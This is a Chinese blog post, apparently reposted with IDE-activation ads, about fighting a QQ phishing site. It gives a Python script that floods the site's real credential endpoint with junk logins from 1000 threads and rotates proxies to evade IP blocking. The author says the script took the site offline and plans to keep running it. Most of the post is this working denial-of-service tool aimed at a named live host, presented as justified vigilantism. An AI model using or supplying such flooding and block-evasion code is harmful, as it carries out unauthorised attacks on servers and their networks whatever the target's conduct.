用Python打击盗号钓鱼网站

用Python打击盗号钓鱼网站事情还要从我在吾爱看到的一个网址说起,放地址:http://tencent.outlook.com.eskdp.xyz/mail/打开之后是一个模仿QQ空间登陆的页面,然后你在账号密码框里输入任何东西,它都会跳转到QQ邮箱的页面(这里的QQ邮箱确实是腾讯旗下的QQ邮箱),这样会给很多小白造成错觉:嗯,一定是QQ家族出现了问题,我登陆QQ空间竟然给我跳到QQ邮箱了。我们来抓下包,在这个页面打开开发者工具(右键-检查),打开Network,因为后面会有跳转,所以勾选上Preservelog,然后随便输入

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE使用 1年只要46元 售后保障 童叟无欺

事情还要从我在吾爱看到的一个网址说起,放地址:http://tencent.outlook.com.eskdp.xyz/mail/

打开之后是一个模仿QQ空间登陆的页面,然后你在账号密码框里输入任何东西,它都会跳转到QQ邮箱的页面(这里的QQ邮箱确实是腾讯旗下的QQ邮箱),这样会给很多小白
造成错觉:嗯,一定是QQ家族出现了问题,我登陆QQ空间竟然给我跳到QQ邮箱了。

我们来抓下包,在这个页面打开开发者工具(右键-检查),打开Network,因为后面会有跳转,所以勾选上Preserve log,然后随便输入一串账号密码,点击登陆

然后会发现抓到了api.php,完整地址是http://tencent.outlook.com.eskdp.xyz/mail/api/api.php

post方法发送了两个字段usernamepassword
记住这个地址,后面程序要用到

好的,我们已经拿到了真实的后台地址,想到这,某人咧嘴一笑,我们的思路是不停的给它发送请求,直到他的服务器崩溃(后面发现过段时间还会重启)

于是第一版本的代码就出炉了,通过多线程并发疯狂发送post请求,经过测试发现有些问题,就是这个网站好像可以锁定IP,对请求的IP进行限制,看到这种情况下,
某人咧嘴一笑,想到了IP的代{过}理{滤}池,于是clone了一个git开源项目,给这个程序注入灵魂,于是开启程序,一分钟后,再次刷新那个钓鱼网站,已经打不开了。

我用的代{过}理{滤}池项目是https://github.com/jhao104/proxy_pool

这个项目我启动的时候遇到了报错,如果有一样的问题可以看我提的issue:https://github.com/jhao104/proxy_pool/issues/453

下面放代码

#coding=utf-8
''' 疯狂发送post请求 '''
import requests
import random
from time import ctime  
import threading 

count = 1

def get_proxy():
    return requests.get("http://127.0.0.1:5010/get/").json()

def delete_proxy(proxy):
    requests.get("http://127.0.0.1:5010/delete/?proxy={}".format(proxy))

def getResponse(postJson):
    # ....
    retry_count = 5
    url = 'http://tencent.outlook.com.eskdp.xyz/mail/api/api.php'
    proxy = get_proxy().get("proxy")
    while retry_count > 0:
        try:
            response = requests.post(url, proxies={ 
   "http": "http://{}".format(proxy)}, data=postJson)
            # 使用代理访问
            return response
        except Exception:
            retry_count -= 1
    # 出错5次, 删除代理池中代理
    delete_proxy(proxy)
    return None

#创建请求函数
def postRequest():
    global count
    Number = "0123456789qbcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPWRSTUVWXYZ"
    postJson= { 
   "username":random.randint(10000,9999999999),"password":"".join(random.choice(Number) for i in range(random.randint(6,10)))}#值以字典的形式传入
    # response = requests.post(url=url,data=postJson)
    response = getResponse(postJson)
    # if response is not None
    try:
        print("状态码:", response.status_code, "第", count, "次发送成功")
        count += 1
    except :
        pass
    
  
#创建数组存放线程 
threads=[] 
#创建1000个线程
for i in range(1000):
    #针对函数创建线程 
    t=threading.Thread(target=postRequest,args=())
    #把创建的线程加入线程组 
    threads.append(t)  
  
if __name__ == '__main__':
    #启动线程 
    for i in threads:  
        i.start()  
    #keep thread 
    for i in threads:  
        i.join()

后续我准备改进一下,增加周期性检测,然后放到服务器上,只要检测到网页可以打开就持续发送,对于这种危害大家信息安全的钓鱼网站,正是需要我们共同努力维护网络安全。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/159485.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)


相关推荐

  • 用心做软件—细节决定成败「建议收藏」

    用心做软件—细节决定成败「建议收藏」软件是什么?也许在编程者的眼中这是自己智慧的结晶,是技术运用的成果。但是在用户的眼中呢,用户会在乎你到底用了多少高级的技术、用了什么前卫的技术吗?我想大部分用户是不会管的,无论你是C#做的,Java做的,C++还是C做的,你的系统是Windows还是Linux,android还是塞班。用户的眼中你的软件只是一件产品,那么既然是产品,就要有价值,要能为用户带来方便,能为用户解决问题。当今的互联网上,

  • SQL服务器操作系统和SQL版本的选择

    SQL服务器操作系统和SQL版本的选择

  • leetcode刷题:两数之和

    leetcode刷题:两数之和

  • Linux系统平均负载3个数字的含义

    Linux系统平均负载3个数字的含义熟悉Linux系统的人都知道负载这个说法。负载就是指当前系统的资源使用情况。可以使用w,uptime和top命令实时查看监控系统的监控状况。越来越多人开始接触Linux操作系统,从VPS到无线路由的刷机系统(如OpenWRT、Tomato),同时也必不可少地会在各式各样的探针和系统监测界面上看到”系统平均负载”或者”LoadAverage…

  • 微信小程序跳转页面携带参数

    微信小程序跳转页面携带参数小程序跳转页面并携带参数,有两种情况,一是在wxml里通过navigatorurl跳转,一种是在js里通过点击事件跳转,下面案例为跳转详情页面在wxml中:<viewclass=’wait-solve’wx:for=”{{items}}”wx:key=”items.name”wx:for-index=”idx”wx:for-item=”item”>…

  • Linux部署,并查看后台[通俗易懂]

    Linux部署,并查看后台[通俗易懂]工具1:Xftp6工具2:Xshell6用Xftp6将war包拷至Linux的Tomcat的webapp包下用Xshell6进入Tomcat的bin目标下,ll或者ls命令,可以看到很多命令;先进行Tomcat关闭操作(如果Tomcat已经启动):./shutdown.sh。然后进行Tomcat启动操作:./startup.sh。此时已经启动完毕,想看控制台日志的话:进入Tom…

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号